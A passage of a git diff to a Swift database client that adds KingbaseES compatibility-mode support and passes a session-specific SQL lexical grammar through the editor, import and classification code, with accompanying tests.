// SQL is read by SQLCatalogEffectClassifier, shared with iOS; engines that do not speak SQL are decided here.
enum CatalogChangeClassifier {
- static func effect(ofStatements statements: [String], databaseType: DatabaseType) -> SQLCatalogEffect {
+ static func effect(
+ ofStatements statements: [String],
+ databaseType: DatabaseType,
+ grammar: SQLLexicalGrammar? = nil
+ ) -> SQLCatalogEffect {
statements.reduce(SQLCatalogEffect.none) { partial, statement in
- partial.union(effect(of: statement, databaseType: databaseType))
+ partial.union(effect(of: statement, databaseType: databaseType, grammar: grammar))
}
}
- static func effect(of sql: String, databaseType: DatabaseType) -> SQLCatalogEffect {
+ static func effect(
+ of sql: String,
+ databaseType: DatabaseType,
+ grammar: SQLLexicalGrammar? = nil
+ ) -> SQLCatalogEffect {
let trimmed = StatementBlank.trimming(SQLLeadingComments.stripping(sql))
guard !trimmed.isEmpty else { return .none }
if databaseType == .redis {
@@ -27,7 +35,7 @@ enum CatalogChangeClassifier {
if let request = dynamoDBRequestEffect(trimmed, databaseType: databaseType) {
return request
}
- return SQLCatalogEffectClassifier.effect(of: trimmed, grammar: databaseType.lexicalGrammar)
+ return SQLCatalogEffectClassifier.effect(of: trimmed, grammar: grammar ?? databaseType.lexicalGrammar)
}
// PartiQL, and an action the driver does not know, which goes out as PartiQL, take the SQL path.
diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift
index 262fa94ada..c179696233 100644
--- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift
+++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift
@@ -16,10 +16,6 @@ import TableProSQLGrammar
/// spell out and never below a write. Dynamic SQL built from variables cannot be read, which leaves it where a `CALL`
/// of a stored procedure is: a write whose effect the text does not show.
extension QueryClassifier {
- static func runsPLSQL(_ sql: String, databaseType: DatabaseType) -> Bool {
- SQLProceduralBlock.runsPLSQL(sql, grammar: databaseType.lexicalGrammar)
- }
-
static func proceduralBlockClassification(
_ trimmed: String,
grammar: SQLLexicalGrammar,
diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift
index 14cc6a3c49..b1f770ca6e 100644
--- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift
+++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift
@@ -258,7 +258,10 @@ private extension QueryClassifier {
options: []
)
- static let enginesWithSequencePseudoColumns: Set = [.oracle, .sapHana, .snowflake, .dameng, .mariadb]
+ // KingbaseES has it in Oracle mode only, and its type id cannot say which mode a server runs.
+ static let enginesWithSequencePseudoColumns: Set = [
+ .oracle, .sapHana, .snowflake, .dameng, .mariadb, .kingbasees,
+ ]
static func advancesSequence(_ body: String, databaseType: DatabaseType) -> Bool {
let range = NSRange(body.startIndex..., in: body)
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift
index 3ede0ba639..a32a845847 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift
@@ -28,8 +28,13 @@ enum SQLLexicalResolver {
/// The grammar a script is split with for execution on `connectionId`, with the driver's session facts applied.
@MainActor
static func executionGrammar(for databaseType: DatabaseType, connectionId: UUID) -> SQLLexicalGrammar {
- let session = DatabaseManager.shared.driver(for: connectionId)?.sessionLexicalState
- return readings(for: databaseType, session: session).execution
+ readings(for: databaseType, session: sessionState(for: connectionId)).execution
+ }
+
+ /// What the connected driver read from its session, or `nil` while `connectionId` has none.
+ @MainActor
+ static func sessionState(for connectionId: UUID) -> PluginSessionLexicalState? {
+ DatabaseManager.shared.driver(for: connectionId)?.sessionLexicalState
}
private static func declaredGrammar(for databaseType: DatabaseType) -> SQLLexicalGrammar? {
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift
index 15882e758d..70d1741469 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift
@@ -232,10 +232,9 @@ internal struct SQLRowToStatementConverter {
for byte in data {
hex += String(format: "%02X", byte)
}
- if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres {
- return "'\\x\(hex)'::bytea"
- }
switch databaseType {
+ case .postgresql, .redshift, .cockroachdb, .pglite, .kingbasees:
+ return "'\\x\(hex)'::bytea"
case .mssql:
return "0x\(hex)"
default:
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift b/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift
index 560661b8e0..a70d3f00f8 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift
@@ -28,9 +28,14 @@ internal struct SQLScriptText {
private let grammar: SQLLexicalGrammar
internal init(databaseType: DatabaseType) {
+ self.init(databaseType: databaseType, grammar: databaseType.lexicalGrammar)
+ }
+
+ /// `grammar` is the session's execution grammar, which a server setting such as KingbaseES Oracle mode changes.
+ internal init(databaseType: DatabaseType, grammar: SQLLexicalGrammar) {
self.databaseType = databaseType
self.dialect = SqlDialect.from(databaseTypeId: databaseType.rawValue)
- self.grammar = databaseType.lexicalGrammar
+ self.grammar = grammar
}
/// The statements `text` holds, each exactly as the driver receives it in one call, in order.
diff --git a/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift b/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift
index 87daeaefb7..1f48338188 100644
--- a/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift
+++ b/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift
@@ -7,8 +7,8 @@ import Foundation
/// a statement the server rejects.
///
/// Curated in the app and keyed by database type id. It cannot be keyed by plugin: MySQL and MariaDB
-/// share one and spell an expression default differently; PostgreSQL, Redshift, CockroachDB and PGlite
-/// share one, and only two of them have `gen_random_uuid()`.
+/// share one and spell an expression default differently; PostgreSQL, Redshift, CockroachDB, PGlite and
+/// KingbaseES share one, and Redshift and KingbaseES have no `gen_random_uuid()`.
///
/// What belongs here is the vocabulary, not the syntax. MySQL takes a `TEXT` or `JSON` default only in
/// parentheses whatever the value is, so that parenthesising is the MySQL driver's job at the point it
@@ -36,10 +36,11 @@ internal enum ColumnDefaultVocabulary {
}
/// Oracle treats a zero-length character value as null, so `DEFAULT ''` and `DEFAULT NULL` are the
- /// same statement there and offering both would be a lie. Dameng follows Oracle.
+ /// same statement there and offering both would be a lie. Dameng follows Oracle, and so does KingbaseES
+ /// in Oracle mode, which its type id cannot tell from PostgreSQL mode.
private static func offersEmptyString(_ databaseType: DatabaseType) -> Bool {
switch databaseType {
- case .oracle, .dameng: false
+ case .oracle, .dameng, .kingbasees: false
default: true
}
}
@@ -52,6 +53,8 @@ internal enum ColumnDefaultVocabulary {
return ["CURRENT_TIMESTAMP", "uuid()", "curdate()"]
case .postgresql, .pglite:
return ["CURRENT_TIMESTAMP", "now()", "CURRENT_DATE", "gen_random_uuid()", "true", "false"]
+ case .kingbasees:
+ return ["CURRENT_TIMESTAMP", "now()", "CURRENT_DATE", "true", "false"]
case .cockroachdb:
return ["current_timestamp()", "now()", "gen_random_uuid()", "unique_rowid()", "true", "false"]
case .redshift:
diff --git a/apple/TablePro/Models/Schema/ForeignKeyDialect.swift b/apple/TablePro/Models/Schema/ForeignKeyDialect.swift
index fe1f2d3fce..ace0be0dad 100644
--- a/apple/TablePro/Models/Schema/ForeignKeyDialect.swift
+++ b/apple/TablePro/Models/Schema/ForeignKeyDialect.swift
@@ -51,7 +51,7 @@ struct ForeignKeyDialect: Equatable, Sendable {
allowsQualifiedReferencedTable: true,
allowsOmittedReferencedColumns: false
)
- case .postgresql, .pglite, .cockroachdb, .redshift:
+ case .postgresql, .pglite, .cockroachdb, .redshift, .kingbasees:
return ForeignKeyDialect(
deleteActions: everyAction,
updateActions: everyAction,
diff --git a/apple/TablePro/Models/Schema/IndexKeyDialect.swift b/apple/TablePro/Models/Schema/IndexKeyDialect.swift
index 26bd85e841..232fbda1ea 100644
--- a/apple/TablePro/Models/Schema/IndexKeyDialect.swift
+++ b/apple/TablePro/Models/Schema/IndexKeyDialect.swift
@@ -17,7 +17,7 @@ struct IndexKeyDialect: Equatable, Sendable {
return IndexKeyDialect(takesPrefixLengths: true, takesExpressions: true)
case .mariadb, .tidb, .oceanbase:
return IndexKeyDialect(takesPrefixLengths: true, takesExpressions: false)
- case .postgresql, .pglite, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb:
+ case .postgresql, .pglite, .kingbasees, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb:
return IndexKeyDialect(takesPrefixLengths: false, takesExpressions: true)
default:
return .columnsOnly
diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings
index c1bf65c8b4..7d36a9a257 100644
--- a/apple/TablePro/Resources/Localizable.xcstrings
+++ b/apple/TablePro/Resources/Localizable.xcstrings
@@ -1,10 +1,6 @@
{
"sourceLanguage" : "en",
"strings" : {
- "This KingbaseES compatibility mode is not supported. Use PostgreSQL or Oracle mode." : {
- "extractionState" : "manual",
- "generatesSymbol" : false
- },
"" : {
"localizations" : {
"ko" : {
@@ -5785,6 +5781,12 @@
}
}
}
+ },
+ "%@ runs in a compatibility mode with column types of its own, so structures can be compared but no script is generated." : {
+
+ },
+ "%@ runs in a compatibility mode with column types of its own. Copy to a target of the same type in the same mode." : {
+
},
"%@ s" : {
"extractionState" : "stale",
@@ -99181,6 +99183,10 @@
}
}
},
+ "KingbaseES in %@ mode is not supported. Connect to a server in PostgreSQL or Oracle mode." : {
+ "extractionState" : "manual",
+ "generatesSymbol" : false
+ },
"kubectl port-forward" : {
"localizations" : {
"fr" : {
@@ -134472,6 +134478,9 @@
}
}
}
+ },
+ "PostgreSQL and Oracle compatible SQL" : {
+
},
"PostgreSQL custom archive" : {
"localizations" : {
@@ -135032,6 +135041,9 @@
}
}
}
+ },
+ "Preferred tries TLS first, falls back to plain." : {
+
},
"Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon." : {
"localizations" : {
diff --git a/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift b/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift
index 92b6b47d6a..108e8c9e2e 100644
--- a/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift
+++ b/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift
@@ -20,7 +20,7 @@ extension AIChatViewModel {
let wanted = pendingConversationToRestore
Task.detached(priority: .utility) { [weak self] in
let loaded = await storage.loadAll(connectionId: connectionId)
- await MainActor.run { [weak self] in
+ await MainActor.run {
guard let self else { return }
self.conversations = loaded
guard self.messages.isEmpty else { return }
diff --git a/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift b/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift
index 9c3f184a7e..64cb3d6702 100644
--- a/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift
+++ b/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift
@@ -248,7 +248,7 @@ extension AIChatViewModel {
else { return [] }
return AISchemaContext.referencedTables(
in: AISchemaContext.carriedQuery(query),
- grammar: connection.type.lexicalGrammar
+ grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id)
)
}
diff --git a/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift b/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift
index 20175e5be0..cf80d17f2f 100644
--- a/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift
+++ b/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift
@@ -18,10 +18,12 @@ import TableProSQLGrammar
enum FoldProviderResolver {
/// The provider for a connection, which knows both the language and the SQL dialect.
static func provider(for databaseType: DatabaseType) -> LineFoldProvider? {
- provider(
- for: PluginManager.shared.editorLanguage(for: databaseType),
- grammar: databaseType.lexicalGrammar
- )
+ provider(for: databaseType, grammar: databaseType.lexicalGrammar)
+ }
+
+ /// The same, reading the grammar the connection's session lexes with.
+ static func provider(for databaseType: DatabaseType, grammar: SQLLexicalGrammar) -> LineFoldProvider? {
+ provider(for: PluginManager.shared.editorLanguage(for: databaseType), grammar: grammar)
}
/// The provider for a listing whose language is known but whose dialect is not, such as a fenced code block.
diff --git a/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift b/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift
index cc1e7add05..ac96f70436 100644
--- a/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift
+++ b/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift
@@ -3,6 +3,7 @@ import SwiftUI
import TableProAutocomplete
import TableProEditorKit
import TableProPluginKit
+import TableProSQLGrammar
import TableProTextEngine
@MainActor
@@ -41,6 +42,7 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate {
let databaseType: DatabaseType?
let profileRevision: String?
let connectionId: UUID?
+ let grammar: SQLLexicalGrammar?
}
private var service: QueryCompletionService
@@ -60,13 +62,15 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate {
schemaProvider: SQLSchemaProvider?,
databaseType: DatabaseType?,
profile: QueryCompletionProfile? = nil,
- connectionId: UUID? = nil
+ connectionId: UUID? = nil,
+ grammar: SQLLexicalGrammar? = nil
) {
let requested = Configuration(
schemaProvider: schemaProvider.map(ObjectIdentifier.init),
databaseType: databaseType,
profileRevision: profile?.revision,
- connectionId: connectionId
+ connectionId: connectionId,
+ grammar: grammar
)
guard requested != configuration else { return }
configuration = requested
@@ -74,7 +78,8 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate {
schemaProvider: schemaProvider,
databaseType: databaseType,
profile: profile,
- connectionId: connectionId
+ connectionId: connectionId,
+ grammar: grammar
)
service.updateFavoriteKeywords(favoriteKeywords)
session = nil
diff --git a/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift b/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift
index a8bc35f755..094e3d4ce7 100644
--- a/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift
+++ b/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift
@@ -9,6 +9,7 @@
import AppKit
import os
import TableProEditorKit
+import TableProSQLGrammar
import TableProTextEngine
@MainActor
@@ -32,8 +33,8 @@ final class QueryDiagnosticsController {
self.clock = clock
}
- func configure(databaseType: DatabaseType?) {
- producer = QueryDiagnosticsFactory.make(for: databaseType)
+ func configure(databaseType: DatabaseType?, grammar: SQLLexicalGrammar? = nil) {
+ producer = QueryDiagnosticsFactory.make(for: databaseType, grammar: grammar)
diagnostics = []
}
diff --git a/apple/TablePro/Views/Editor/SQLEditorController.swift b/apple/TablePro/Views/Editor/SQLEditorController.swift
index 5afcebd0d1..6ddc24d142 100644
--- a/apple/TablePro/Views/Editor/SQLEditorController.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorController.swift
@@ -9,6 +9,7 @@ import SwiftUI
import TableProEditorKit
import TableProGrammars
import TableProPluginKit
+import TableProSQLGrammar
import TableProTextEngine
/// What a query tab hands the SQL editor on every update.
@@ -60,6 +61,11 @@ final class SQLEditorController {
private var pendingCaret: [CursorPosition]?
private var cancellables: Set = []
private var isTornDown = false
+ // One instance, because `SourceEditor` keeps the provider it was created with and a new grammar has to reach it.
+ private lazy var foldProvider: LineFoldProvider? = FoldProviderResolver.provider(
+ for: input.databaseType ?? .mysql,
+ grammar: coordinator.lexicalGrammar
+ )
var textViewController: TextViewController {
guard let host else { preconditionFailure("SQLEditorController used before init finished") }
@@ -81,6 +87,7 @@ final class SQLEditorController {
observeEditorSettings()
observeVimMode()
+ observeSessionChanges()
configureCompletion()
setupFavoritesObserver()
subscribeToCompletionRevision()
@@ -154,6 +161,31 @@ final class SQLEditorController {
if let restoredFoldRanges = input.restoredFoldRanges {
coordinator.scheduleFoldRestore(restoredFoldRanges)
}
+ // Also on every run's start and end, which is when a `SET` can have changed a session flag.
+ refreshSessionGrammar()
+ }
+
+ /// The grammar the session lexes with: KingbaseES in Oracle mode, MySQL under `NO_BACKSLASH_ESCAPES`, or
+ /// PostgreSQL with `standard_conforming_strings` off each split text differently from the engine's default.
+ private func refreshSessionGrammar() {
+ guard let databaseType = input.databaseType else { return }
+ let grammar = input.connectionId.map {
+ SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: $0)
+ } ?? databaseType.lexicalGrammar
+ guard grammar != coordinator.sessionGrammar else { return }
+ coordinator.setSessionGrammar(grammar)
+ (foldProvider as? SQLLineFoldProvider)?.grammar = grammar
+ configureCompletion()
+ }
+
+ private func observeSessionChanges() {
+ AppEvents.shared.connectionStatusChanged
+ .receive(on: RunLoop.main)
+ .sink { [weak self] change in
+ guard let self, !self.isTornDown, change.connectionId == self.input.connectionId else { return }
+ self.refreshSessionGrammar()
+ }
+ .store(in: &cancellables)
}
private func makeEditor(state: Binding) -> SourceEditor {
@@ -170,7 +202,7 @@ final class SQLEditorController {
language: PluginManager.shared.editorLanguage(for: databaseType).treeSitterLanguage,
configuration: configuration,
state: state,
- foldProvider: FoldProviderResolver.provider(for: databaseType),
+ foldProvider: foldProvider,
coordinators: [coordinator],
completionDelegate: completionAdapter
)
@@ -267,7 +299,8 @@ final class SQLEditorController {
schemaProvider: input.schemaProvider,
databaseType: input.databaseType,
profile: completionProfile,
- connectionId: input.connectionId
+ connectionId: input.connectionId,
+ grammar: coordinator.sessionGrammar
)
}
diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift
index 52d59a7a87..64b6516e21 100644
--- a/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift
@@ -13,12 +13,11 @@ extension SQLEditorCoordinator {
guard let controller, let textView = controller.textView, textView.isEditable else { return }
let string = textView.string
let scope = FormatScopeResolver.resolve(fullText: string, selectedRange: textView.selectedRange())
- let resolvedType = databaseType ?? .mysql
let replacements = InvisibleCharacterRemover.replacements(
in: string as NSString,
scope: scope.range,
skippingLiteralsAndComments: !scope.isSelection,
- grammar: resolvedType.lexicalGrammar,
+ grammar: lexicalGrammar,
lineEnding: textView.layoutManager.detectedLineEnding.rawValue
)
guard !replacements.isEmpty else { return }
diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
index 6a5697d164..b5af901d9c 100644
--- a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
@@ -123,6 +123,12 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
var tabID: UUID?
var connectionId: UUID?
var sourceFileURL: URL?
+ /// The connection's execution grammar, which `SQLEditorController` sets from the live session.
+ private(set) var sessionGrammar: SQLLexicalGrammar?
+
+ var lexicalGrammar: SQLLexicalGrammar {
+ sessionGrammar ?? (databaseType ?? .mysql).lexicalGrammar
+ }
/// Whether the editor text view is currently the first responder.
/// Used to guard cursor propagation — when the find panel highlights
@@ -183,7 +189,7 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
installFoldPreview(controller: controller)
installStatementRunControls(controller: controller)
installInlineSuggestionManager(controller: controller)
- diagnosticsController.configure(databaseType: databaseType)
+ diagnosticsController.configure(databaseType: databaseType, grammar: lexicalGrammar)
diagnosticsController.install(on: controller)
diagnosticsController.scheduleRefresh(for: controller)
applyKeyBindings(controller: controller)
@@ -351,7 +357,7 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
}
private func installStatementRunControls(controller: TextViewController) {
- statementRunController.grammar = (databaseType ?? .mysql).lexicalGrammar
+ statementRunController.grammar = lexicalGrammar
statementRunController.statementModel = QueryStatementModel.forDatabaseType(databaseType ?? .mysql)
statementRunController.isHighlightEnabled = AppSettingsManager.shared.editor.highlightCurrentStatement
statementRunController.onRun = { [weak self] sql, offset in
@@ -360,6 +366,21 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
statementRunController.install(on: controller)
}
+ /// Moves the run controls and diagnostics to `grammar`, as a connect, a reconnect or a `SET` changes it.
+ func setSessionGrammar(_ grammar: SQLLexicalGrammar) {
+ guard grammar != sessionGrammar else { return }
+ sessionGrammar = grammar
+ guard hasInstalledEditorServices, !isDestroyed, let controller else { return }
+ statementRunController.grammar = grammar
+ statementRunController.refreshControls(in: controller)
+ statementRunController.refreshHighlight(in: controller)
+ diagnosticsController.configure(databaseType: databaseType, grammar: grammar)
+ refreshDiagnostics(
+ in: controller,
+ isLargeDocument: controller.textView.textStorage.length > Self.languageServiceLengthLimit
+ )
+ }
+
/// Turns the run controls off for the length of a query, because a tab runs one at a time.
func setStatementRunControlsEnabled(_ isEnabled: Bool) {
statementRunController.setEnabled(isEnabled, in: controller)
diff --git a/apple/TablePro/Views/Import/ImportDialog.swift b/apple/TablePro/Views/Import/ImportDialog.swift
index dc8ad9a6af..7763ff9013 100644
--- a/apple/TablePro/Views/Import/ImportDialog.swift
+++ b/apple/TablePro/Views/Import/ImportDialog.swift
@@ -443,7 +443,7 @@ struct ImportDialog: View {
forPreview: previewData,
isWholeFile: previewData.count < maxPreviewSize,
family: TransactionEngineFamily.of(connection.type),
- grammar: connection.type.lexicalGrammar
+ grammar: sessionGrammar
) {
Self.logger.info("Preview did not decode as \(selectedEncoding.rawValue, privacy: .public); switching to the detected \(detected.rawValue, privacy: .public)")
detectedEncoding = detected
@@ -464,6 +464,12 @@ struct ImportDialog: View {
}
}
+ /// What the import itself splits with, so the count and the detected encoding match the run.
+ @MainActor
+ private var sessionGrammar: SQLLexicalGrammar {
+ SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id)
+ }
+
@MainActor
private func countStatements(url: URL) async {
isCountingStatements = true
@@ -471,7 +477,7 @@ struct ImportDialog: View {
do {
let encoding = selectedEncoding.encoding
- let grammar = connection.type.lexicalGrammar
+ let grammar = sessionGrammar
let parser = SQLFileParser()
let count = try await Task.detached {
try await parser.countStatements(url: url, encoding: encoding, grammar: grammar)
diff --git a/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift b/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift
index bff6993a6a..8cfa367965 100644
--- a/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift
+++ b/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift
@@ -43,10 +43,8 @@ internal final class TreeOutlineView: SidebarOutlineView {
override internal func viewDidMoveToWindow() {
super.viewDidMoveToWindow()
responderObservation = window?.observe(\.firstResponder, options: [.new]) { [weak self] _, _ in
- MainActor.assumeIsolated { [weak self] in
- self?.reapplyRowEmphasis()
- Task { @MainActor [weak self] in self?.reapplyRowEmphasis() }
- }
+ MainActor.assumeIsolated { self?.reapplyRowEmphasis() }
+ Task { @MainActor [weak self] in self?.reapplyRowEmphasis() }
}
}
diff --git a/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift b/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift
index d89527b5ae..1ee644392c 100644
--- a/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift
+++ b/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift
@@ -9,7 +9,7 @@ enum IOSConnectionImportService {
// Mac plugin type ids with no DatabaseType constant.
static let recognizedTypeIds: Set = Set(
(DatabaseType.allKnownTypes + [.cockroachdb, .scylladb, .turso]).map(\.rawValue)
- ).union(["SAP HANA", "Elasticsearch", "Typesense", "PGlite", "Presto"])
+ ).union(["SAP HANA", "Elasticsearch", "Typesense", "PGlite", "Presto", "KingbaseES"])
static func environment(for appState: AppState) -> ImportEnvironment {
ImportEnvironment(
diff --git a/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift b/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift
index eb1fe3b32b..8e50943f94 100644
--- a/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift
+++ b/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift
@@ -39,7 +39,9 @@ struct MacOnlyImportRowTests {
ImportSelection.defaults(for: preview).resolution(for: row.ref) != nil
}
- @Test("A Mac plugin type is recognized, preselected and marked Mac only", arguments: ["Elasticsearch", "SAP HANA", "Typesense", "PGlite", "Presto"])
+ @Test("A Mac plugin type is recognized, preselected and marked Mac only", arguments: [
+ "Elasticsearch", "SAP HANA", "Typesense", "PGlite", "Presto", "KingbaseES",
+ ])
func macPluginTypeIsMarked(_ typeId: String) throws {
let preview = try analyzed(type: typeId)
let row = try #require(preview.connections.first)
diff --git a/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift b/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift
new file mode 100644
index 0000000000..843c1103d7
--- /dev/null
+++ b/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift
@@ -0,0 +1,42 @@
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+struct CompareSyncEngineFamilyTests {
+ private static let oracleMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [.plsqlBlocks])
+ private static let pgMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [])
+
+ @Test
+ func kingbaseESSyncsStructureWithPostgreSQLInPostgreSQLMode() {
+ #expect(CompareSyncEngineFamily.canGenerateStructureScript(
+ from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.pgMode
+ ))
+ #expect(CompareSyncEngineFamily.canGenerateStructureScript(
+ from: .kingbasees, to: .postgresql, sourceSession: Self.pgMode, targetSession: nil
+ ))
+ }
+
+ @Test
+ func anOracleModeServerSyncsStructureOnlyWithAnotherOne() {
+ #expect(!CompareSyncEngineFamily.canGenerateStructureScript(
+ from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.oracleMode
+ ))
+ #expect(!CompareSyncEngineFamily.canGenerateStructureScript(
+ from: .kingbasees, to: .kingbasees, sourceSession: Self.pgMode, targetSession: Self.oracleMode
+ ))
+ #expect(CompareSyncEngineFamily.canGenerateStructureScript(
+ from: .kingbasees, to: .kingbasees, sourceSession: Self.oracleMode, targetSession: Self.oracleMode
+ ))
+ let refusal = CompareSyncEngineFamily.structureScriptRefusal(
+ from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.oracleMode
+ )
+ #expect(refusal.contains("compatibility mode"))
+ }
+
+ @Test
+ func postgreSQLStaysUnpairedWithItsOtherVariants() {
+ #expect(!CompareSyncEngineFamily.canGenerateStructureScript(from: .postgresql, to: .cockroachdb))
+ #expect(!CompareSyncEngineFamily.canGenerateStructureScript(from: .postgresql, to: .pglite))
+ }
+}
diff --git a/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift b/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift
index 8a04459f24..cd3ae7a589 100644
--- a/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift
+++ b/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift
@@ -79,6 +79,13 @@ struct CrossEngineIndexTypeTests {
#expect(index.ddlMethodAndKeys == "USING hnsw (a vector_l2_ops)")
}
+ @Test("KingbaseES reports its access method from pg_am, so a PostgreSQL copy keeps it")
+ func kingbaseAccessMethodSurvives() {
+ let bloom = Self.index("items_bloom", type: "bloom").type
+ #expect(CrossEngineIndexTranslator.resolvedType(bloom, from: .kingbasees, to: .postgresql) == bloom)
+ #expect(CrossEngineIndexTranslator.resolvedType(bloom, from: .mssql, to: .postgresql) == .btree)
+ }
+
@Test("A Redshift DISTKEY and SORTKEY are left out of a PostgreSQL copy, though the two share a family")
func redshiftKeysAreLeftOut() {
let result = CrossEngineStructureTranslator.translate(
diff --git a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift
index c5cda01873..52592591f0 100644
--- a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift
+++ b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift
@@ -181,6 +181,18 @@ struct DataWriteExecutorTests {
#expect(counting.didRollBack)
}
+ @Test("A KingbaseES keyless write that found no row is rolled back, as libpq reports a real count")
+ func kingbaseKeylessWriteThatMatchedNothingFails() async throws {
+ let counting = CountingDriver(affectedRows: 0)
+ await #expect(throws: DataWriteError.rowsNoLongerMatch(table: "t", expected: 1, actual: 0)) {
+ try await DataWriteExecutor.run(
+ plan(expectedRowCount: 1, matchesRowsWithoutKey: true, databaseType: .kingbasees),
+ on: driver(counting)
+ )
+ }
+ #expect(counting.didRollBack)
+ }
+
@Test("An engine whose driver reports no real count is not held to one")
func keylessWriteOnAnEngineWithoutCountsSucceeds() async throws {
let counting = CountingDriver(affectedRows: 0)
diff --git a/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift b/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift
index 6a93d5068f..7f37204287 100644
--- a/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift
